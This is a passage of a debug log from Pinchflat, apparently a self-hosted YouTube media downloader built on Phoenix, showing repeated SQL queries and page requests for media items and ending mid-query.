17:41:54.912 [debug] QUERY OK source="sources" db=0.1ms idle=525.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:41:54.912 [debug] QUERY OK source="tasks" db=0.1ms idle=525.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576207] 17:41:54.913 [debug] QUERY OK source="settings" db=0.0ms idle=525.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.913 [debug] QUERY OK source="settings" db=0.0ms idle=525.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.913 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.913 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:54.914 [info] Sent 200 in 2ms 17:41:55.413 [info] GET /sources/1/media/1576252 17:41:55.413 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576252", "source_id" => "1"} Pipelines: [:browser] 17:41:55.413 [debug] QUERY OK source="media_items" db=0.0ms idle=500.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576252] 17:41:55.413 [debug] QUERY OK source="sources" db=0.0ms idle=500.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:55.493 [debug] QUERY OK source="tasks" db=79.7ms idle=500.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576252] 17:41:55.984 [info] GET /sources/45/media/1577472 17:41:55.984 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577472", "source_id" => "45"} Pipelines: [:browser] 17:41:55.984 [debug] QUERY OK source="media_items" db=0.1ms idle=623.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577472] 17:41:55.985 [debug] QUERY OK source="tasks" db=0.2ms idle=571.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577472] 17:41:55.985 [debug] QUERY OK source="sources" db=0.2ms idle=571.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:55.985 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=492.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242028] 17:41:56.053 [debug] QUERY OK source="settings" db=0.1ms idle=68.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:56.054 [debug] QUERY OK source="settings" db=0.0ms idle=68.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:56.054 [debug] QUERY OK source="settings" db=0.0ms idle=69.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:56.054 [debug] QUERY OK source="media_profiles" db=0.0ms idle=69.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:56.253 [info] Sent 200 in 269ms 17:41:56.416 [info] GET /sources/1/media/1576246 17:41:56.416 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576246", "source_id" => "1"} Pipelines: [:browser] 17:41:56.416 [debug] QUERY OK source="media_items" db=0.0ms idle=362.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576246] 17:41:56.417 [debug] QUERY OK source="sources" db=0.3ms idle=362.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:56.465 [debug] QUERY OK source="tasks" db=48.5ms idle=362.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576246] 17:41:57.748 [debug] QUERY OK source="oban_jobs" db=2249.6ms idle=585.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5137659, 5137680, 5137746, 5137806, 5137866, 5137927, 5137987, 5138048, 5138108, 5138168, 5138228, 5138288, 5138348, 5138408, 5138468, 5138528, 5138588, 5138648, 5138708, 5138769, 5138829, 5138889, 5138949, 5139009, 5139069, 5139129, 5139189, 5139249, 5139309, 5139369, 5139429, 5139489, 5139549, 5139609, 5139669, 5139729, 5139789, 5139849, 5139909, 5139969, 5140029, 5140089, 5140150, 5140210, 5140270, 5140330, 5140390, 5140450, 5140510, 5140570, ...] 17:41:57.766 [debug] QUERY OK source="settings" db=0.1ms idle=1348.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.766 [debug] QUERY OK source="settings" db=0.0ms idle=1300.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.766 [debug] QUERY OK source="settings" db=0.0ms idle=371.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.766 [debug] QUERY OK source="media_profiles" db=0.0ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:57.830 [info] Sent 200 in 2417ms 17:41:57.921 [info] GET /sources/28/media/1575736 17:41:57.921 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575736", "source_id" => "28"} Pipelines: [:browser] 17:41:57.922 [debug] QUERY OK source="media_items" db=0.1ms idle=156.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575736] 17:41:57.922 [debug] QUERY OK source="tasks" db=0.0ms idle=156.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575736] 17:41:57.922 [debug] QUERY OK source="sources" db=0.1ms idle=155.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:41:57.922 [debug] QUERY OK source="settings" db=0.0ms idle=155.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.922 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.923 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:57.923 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:57.924 [info] Sent 200 in 2ms 17:41:58.422 [info] GET /sources/1/media/1577334 17:41:58.422 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577334", "source_id" => "1"} Pipelines: [:browser] 17:41:58.422 [debug] QUERY OK source="media_items" db=0.3ms idle=499.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577334] 17:41:58.423 [debug] QUERY OK source="tasks" db=0.0ms idle=499.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577334] 17:41:58.423 [debug] QUERY OK source="sources" db=0.1ms idle=499.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:58.423 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=0.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5231462] 17:41:58.423 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.423 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.423 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.424 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:58.425 [info] Sent 200 in 2ms 17:41:58.767 [debug] QUERY OK source="oban_jobs" db=2296.2ms idle=109.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN 